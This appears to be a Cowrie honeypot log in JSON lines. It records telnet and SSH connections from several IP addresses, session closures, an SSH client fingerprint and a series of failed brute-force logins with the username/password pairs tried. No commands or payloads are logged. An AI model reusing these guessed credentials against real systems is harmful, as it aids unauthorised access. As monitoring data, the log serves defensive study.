{"eventid":"cowrie.session.closed","duration":32.603713035583496,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.150237Z","src_ip":"114.23.51.89","session":"ae81d677815b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"3d","password":"3d","message":"login attempt [3d/3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.191024Z","src_ip":"80.94.92.182","session":"ef5e10461393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.529439210891724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.269405Z","src_ip":"114.23.51.89","session":"b5ccc8948e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564416885375977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.310121Z","src_ip":"114.23.51.89","session":"ef65dc6d9d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38432,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae1510b88794","protocol":"telnet","message":"New connection: 114.23.51.89:38432 (159.203.135.109:23) [session: ae1510b88794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.552585Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38440,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2184744c3aa","protocol":"telnet","message":"New connection: 114.23.51.89:38440 (159.203.135.109:23) [session: f2184744c3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.633486Z"}
{"eventid":"cowrie.session.closed","duration":30.766926527023315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.670460Z","src_ip":"114.23.51.89","session":"328eab17b7db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38456,"dst_ip":"159.203.135.109","dst_port":23,"session":"a073fb12c731","protocol":"telnet","message":"New connection: 114.23.51.89:38456 (159.203.135.109:23) [session: a073fb12c731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.747753Z"}
{"eventid":"cowrie.session.closed","duration":34.96937799453735,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.134232Z","src_ip":"23.254.167.244","session":"250e48d87d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38428,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f19fe3f2d77","protocol":"telnet","message":"New connection: 114.23.51.89:38428 (159.203.135.109:23) [session: 7f19fe3f2d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.144418Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38462,"dst_ip":"159.203.135.109","dst_port":23,"session":"49029f58cada","protocol":"telnet","message":"New connection: 114.23.51.89:38462 (159.203.135.109:23) [session: 49029f58cada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.264610Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31439,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5a2ec01a074","protocol":"ssh","message":"New connection: 2.57.121.25:31439 (159.203.135.109:22) [session: f5a2ec01a074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.324848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.329812Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.358714Z","src_ip":"80.94.92.182","session":"ef5e10461393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.430194Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38468,"dst_ip":"159.203.135.109","dst_port":23,"session":"642d93f0ca70","protocol":"telnet","message":"New connection: 114.23.51.89:38468 (159.203.135.109:23) [session: 642d93f0ca70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.449174Z"}
{"eventid":"cowrie.session.closed","duration":31.503421783447266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.577101Z","src_ip":"114.23.51.89","session":"2684fbf03e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331904649734497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.615290Z","src_ip":"114.23.51.89","session":"f0b9d560ca7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00714945793152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.650306Z","src_ip":"185.207.250.135","session":"e703d88fba7e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"edmond","message":"login attempt [user/edmond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.904087Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.367128610610962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:31.932099Z","src_ip":"185.207.250.135","session":"1bbe55957605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.318615436553955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:32.212045Z","src_ip":"114.23.51.89","session":"73d067b9a37e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":38782,"dst_ip":"159.203.135.109","dst_port":23,"session":"19533b315ecd","protocol":"telnet","message":"New connection: 185.207.250.135:38782 (159.203.135.109:23) [session: 19533b315ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:32.286135Z"}
{"eventid":"cowrie.session.closed","duration":31.295228958129883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:32.586629Z","src_ip":"114.23.51.89","session":"05fa958b4435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.471456289291382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:32.758517Z","src_ip":"114.23.51.89","session":"0c9528f9ec0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20282459259033,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:32.917825Z","src_ip":"23.254.167.244","session":"97ae2a6a4aee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38472,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb1143a18817","protocol":"telnet","message":"New connection: 114.23.51.89:38472 (159.203.135.109:23) [session: fb1143a18817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:32.929006Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"echo","message":"login attempt [user/echo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:33.006676Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38484,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b6056081745","protocol":"telnet","message":"New connection: 114.23.51.89:38484 (159.203.135.109:23) [session: 9b6056081745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:33.104974Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38486,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc5f8480351b","protocol":"telnet","message":"New connection: 114.23.51.89:38486 (159.203.135.109:23) [session: cc5f8480351b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:34.090703Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"dutchman","message":"login attempt [user/dutchman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:34.109347Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93961191177368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:34.676754Z","src_ip":"114.23.51.89","session":"06cb7063ef6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38500,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8c4df0e3ce4","protocol":"telnet","message":"New connection: 114.23.51.89:38500 (159.203.135.109:23) [session: f8c4df0e3ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:35.099473Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"duckhunt","message":"login attempt [user/duckhunt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:35.213697Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.196280479431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:35.596837Z","src_ip":"114.23.51.89","session":"52adbbb232c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38512,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a75e99ef8ef","protocol":"telnet","message":"New connection: 114.23.51.89:38512 (159.203.135.109:23) [session: 0a75e99ef8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:36.170915Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"donut","message":"login attempt [user/donut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:36.317899Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.44013452529907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:36.448870Z","src_ip":"114.23.51.89","session":"abd092fc258e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919581651687622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:36.547436Z","src_ip":"114.23.51.89","session":"d6728db979b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946860790252686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:36.564564Z","src_ip":"114.23.51.89","session":"6d0d955857e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.283291339874268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:37.139878Z","src_ip":"114.23.51.89","session":"4d7a0993f5f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38520,"dst_ip":"159.203.135.109","dst_port":23,"session":"b212bb0131f2","protocol":"telnet","message":"New connection: 114.23.51.89:38520 (159.203.135.109:23) [session: b212bb0131f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:37.239087Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:37.421823Z","src_ip":"2.57.121.25","session":"f5a2ec01a074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.420846700668335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:37.539105Z","src_ip":"114.23.51.89","session":"2b3e33eae081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701801300048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:37.593516Z","src_ip":"114.23.51.89","session":"6a3a56fc98e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":59974,"dst_ip":"159.203.135.109","dst_port":23,"session":"d39145f2f48c","protocol":"telnet","message":"New connection: 114.23.51.89:59974 (159.203.135.109:23) [session: d39145f2f48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:37.985542Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":43284,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f55079793d1","protocol":"telnet","message":"New connection: 185.207.250.135:43284 (159.203.135.109:23) [session: 0f55079793d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:37.990242Z"}
{"eventid":"cowrie.session.closed","duration":31.250892400741577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:39.263607Z","src_ip":"114.23.51.89","session":"899b5a7bd695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":59976,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5aebcd876d4","protocol":"telnet","message":"New connection: 114.23.51.89:59976 (159.203.135.109:23) [session: d5aebcd876d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:40.261243Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":59990,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d195e16ea2","protocol":"telnet","message":"New connection: 114.23.51.89:59990 (159.203.135.109:23) [session: 04d195e16ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:40.316367Z"}
{"eventid":"cowrie.session.closed","duration":31.106948852539062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:40.460517Z","src_ip":"114.23.51.89","session":"d5ab693ed6e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14648413658142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:40.492729Z","src_ip":"114.23.51.89","session":"1c3b06b9321e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37256,"dst_ip":"159.203.135.109","dst_port":23,"session":"8edf59d7e2a3","protocol":"telnet","message":"New connection: 23.254.167.244:37256 (159.203.135.109:23) [session: 8edf59d7e2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:40.567479Z"}
{"eventid":"cowrie.session.closed","duration":32.01462912559509,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:40.630426Z","src_ip":"114.23.51.89","session":"ba84b19572e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854400157928467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:41.296726Z","src_ip":"114.23.51.89","session":"a965de636ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":46402,"dst_ip":"159.203.135.109","dst_port":23,"session":"a223c59b617e","protocol":"telnet","message":"New connection: 185.207.250.135:46402 (159.203.135.109:23) [session: a223c59b617e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:41.480669Z"}
{"eventid":"cowrie.session.closed","duration":31.289292097091675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:41.502607Z","src_ip":"114.23.51.89","session":"2702ca10ad03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.312252044677734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:41.545672Z","src_ip":"114.23.51.89","session":"6a281ff77587","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89261031150818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:41.742577Z","src_ip":"114.23.51.89","session":"ffa7f1cab200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.398672580718994,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:41.753471Z","src_ip":"23.254.167.244","session":"756ec03b51d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60000,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1152a755dc","protocol":"telnet","message":"New connection: 114.23.51.89:60000 (159.203.135.109:23) [session: ec1152a755dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:42.246207Z"}
{"eventid":"cowrie.session.closed","duration":30.394120454788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:42.325998Z","src_ip":"114.23.51.89","session":"eed82567298c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795952796936035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:42.347882Z","src_ip":"114.23.51.89","session":"999cb9408fc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":47344,"dst_ip":"159.203.135.109","dst_port":23,"session":"5223ffa746a0","protocol":"telnet","message":"New connection: 185.207.250.135:47344 (159.203.135.109:23) [session: 5223ffa746a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:42.412226Z"}
{"eventid":"cowrie.session.closed","duration":30.8586163520813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:42.420500Z","src_ip":"114.23.51.89","session":"8009782a324f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60006,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3954116afde","protocol":"telnet","message":"New connection: 114.23.51.89:60006 (159.203.135.109:23) [session: c3954116afde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:42.525597Z"}
{"eventid":"cowrie.session.closed","duration":33.23864507675171,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:43.412737Z","src_ip":"209.159.146.115","session":"8a0ca128fe79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64238214492798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:44.237036Z","src_ip":"185.207.250.135","session":"086dbc58bec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.290072202682495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:44.508804Z","src_ip":"114.23.51.89","session":"e49a152c3cc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.322277545928955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:44.578852Z","src_ip":"114.23.51.89","session":"64fa65e5937c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60012,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9be1019bf74","protocol":"telnet","message":"New connection: 114.23.51.89:60012 (159.203.135.109:23) [session: b9be1019bf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:44.590475Z"}
{"eventid":"cowrie.session.closed","duration":30.316051959991455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:45.063916Z","src_ip":"185.207.250.135","session":"11cbbe59f4d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.700268268585205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:45.346634Z","src_ip":"114.23.51.89","session":"2724031681c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40401029586792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:45.370665Z","src_ip":"185.207.250.135","session":"2e3fdcebd213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":53502,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04bb1016f9f","protocol":"telnet","message":"New connection: 176.65.149.254:53502 (10.17.0.5:23) [session: c04bb1016f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:45.438737Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43488,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b7cdea4ad5a","protocol":"telnet","message":"New connection: 23.254.167.244:43488 (159.203.135.109:23) [session: 4b7cdea4ad5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:45.547357Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60014,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aaa58d1c33a","protocol":"telnet","message":"New connection: 114.23.51.89:60014 (159.203.135.109:23) [session: 8aaa58d1c33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:45.557636Z"}
{"eventid":"cowrie.session.closed","duration":31.69295310974121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:46.688600Z","src_ip":"185.207.250.135","session":"1be5d4abd174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.669928550720215,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:46.935295Z","src_ip":"23.254.167.244","session":"7c62223672c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":52896,"dst_ip":"159.203.135.109","dst_port":23,"session":"959c682471e4","protocol":"telnet","message":"New connection: 185.207.250.135:52896 (159.203.135.109:23) [session: 959c682471e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:47.858489Z"}
